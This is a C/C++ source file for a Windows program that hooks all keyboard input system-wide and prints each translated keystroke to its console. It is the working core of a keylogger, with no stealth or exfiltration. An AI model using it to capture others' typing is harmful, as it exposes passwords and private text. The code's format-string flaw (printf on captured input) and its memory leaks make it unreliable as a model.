#include <stdio.h>
#include <Windows.h>

#define _CRT_SECURE_NO_WARNINGS

char* translate(int vk, int up);

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    BOOL fEatKeystroke = FALSE;

    KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
    char *str = new char[4];

    if (wParam == WM_KEYUP) {
        str = translate(kb->vkCode, 1);
    }
    else if (wParam == WM_KEYDOWN) {
        str = translate(kb->vkCode, 0);
    }
    if (str) {
        printf(str);
    }
    return(fEatKeystroke ? 1 : CallNextHookEx(NULL, nCode, wParam, lParam));
}

int main()
{
    // Install the low-level keyboard & mouse hooks
    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);

    // Keep this app running until we're told to stop
    MSG msg;
    while (!GetMessage(&msg, NULL, NULL, NULL)) {    //this while loop keeps the hook
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(hhkLowLevelKybd);

    return(0);
}



int shift = 0, caps = 0;

char* translate(int vk, int up) {
    if (up) {
        if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) shift = 0;
        return 0;
    }
    else if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) {
        shift = 1; return 0;
    }
    char *buf = (char*)malloc(16);
    memset(buf, 0, 16);
    if (vk < 0x29) {
        switch (vk) {
        case 0x08: strcpy(buf, "[BS]"); break;
        case 0x09: strcpy(buf, "[TAB]"); break;
        case 0x0d: strcpy(buf, "[CR]"); break;
        case 0x14: caps ^= 1; break;
        case 0x20: buf[0] = ' '; break;
        case 0x25: strcpy(buf, "[LT]"); break;
        case 0x26: strcpy(buf, "[UP]"); break;
        case 0x27: strcpy(buf, "[RT]"); break;
        case 0x28: strcpy(buf, "[DN]"); break;
        }
        return buf;
    }
    if (vk > 0x69 && vk < 0x70) {
        buf[0] = (char)(vk - 0x40);
    }
    else if (vk > 0x6f && vk < 0x88) {
        sprintf(buf, "[F%d]", vk - 0x6f);
    }
    else if (isalpha(vk)) {
        if (!caps)
            if (shift) { buf[0] = (char)(toupper(vk)); }
            else { buf[0] = (char)(tolower(vk)); }
        else
            if (!shift) { buf[0] = (char)(toupper(vk)); }
            else { buf[0] = (char)(tolower(vk)); }
    }
    else {
        switch (vk) {
        case '1': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '!'; } break;
        case '2': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '@'; } break;
        case '3': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '#'; } break;
        case '4': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '$'; } break;
        case '5': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '%'; } break;
        case '6': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '^'; } break;
        case '7': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '&'; } break;
        case '8': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '*'; } break;
        case '9': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = '('; } break;
        case '0': if (!shift) { buf[0] = (char)vk; }
                  else { buf[0] = ')'; } break;
        case 0xba: if (!shift) { buf[0] = ';'; }
                   else { buf[0] = ':'; } break;
        case 0xbb: if (!shift) { buf[0] = '='; }
                   else { buf[0] = '+'; } break;
        case 0xbc: if (!shift) { buf[0] = ','; }
                   else { buf[0] = '<'; } break;
        case 0xbd: if (!shift) { buf[0] = '-'; }
                   else { buf[0] = '_'; } break;
        case 0xbe: if (!shift) { buf[0] = '.'; }
                   else { buf[0] = '>'; } break;
        case 0xbf: if (!shift) { buf[0] = '/'; }
                   else { buf[0] = '?'; } break;
        case 0xc0: if (!shift) { buf[0] = '`'; }
                   else { buf[0] = '~'; } break;
        case 0xdb: if (!shift) { buf[0] = '['; }
                   else { buf[0] = '{'; } break;
        case 0xdc: if (!shift) { buf[0] = '\\'; }
                   else { buf[0] = '|'; } break;
        case 0xdd: if (!shift) { buf[0] = ']'; }
                   else { buf[0] = '}'; } break;
        case 0xde: if (!shift) { buf[0] = '\''; }
                   else { buf[0] = '\"'; } break;
        }
    }
    return buf;
}